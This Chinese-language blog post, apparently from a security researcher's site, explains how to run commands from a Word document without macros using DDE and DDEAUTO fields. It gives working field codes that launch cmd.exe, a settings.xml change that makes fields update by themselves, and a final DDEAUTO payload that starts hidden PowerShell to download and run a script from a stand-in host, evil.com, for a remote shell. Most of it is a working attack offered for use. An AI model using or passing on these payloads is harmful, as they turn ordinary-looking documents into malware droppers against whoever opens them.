今天学到了一个新的Word执行代码的方式,也是不需要启用宏的,所以分享给大家一波。操作也挺简单的。
首先新建一个word文档,然后插入域:
选择 = (Formula)
右键,切换域代码
代码处修改为:
1 | {DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" } |
之后,右键更新域,再把文档改成docx
格式即可。最终效果如下:
比较鸡肋的是点是以后才会执行。
除了使用DDEAUTO
,使用DDE
也是可以的,具体如下:
1 | {DDE "c:\\windows\\system32\\cmd.exe" "/c notepad" } |
需要注意的是,使用DDE不会自动执行,需要对文档进行修改,将文档重命名为rar,打开以后修改 word/settings.xml
,添加
1 | <w:updateFields w:val="true"/> |
使用DDE效果如下:
个人感觉使用DDE效果更好点。
如何获取交互式shell ?
1 | { DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://evil.com/evil.ps1');powershell -e $e "} |
------本文结束,感谢阅读------
- 本文作者: Evi1cg
- 本文链接: https://evi1cg.github.io/archives/MSWord_Code_Exec_Without_Macro.html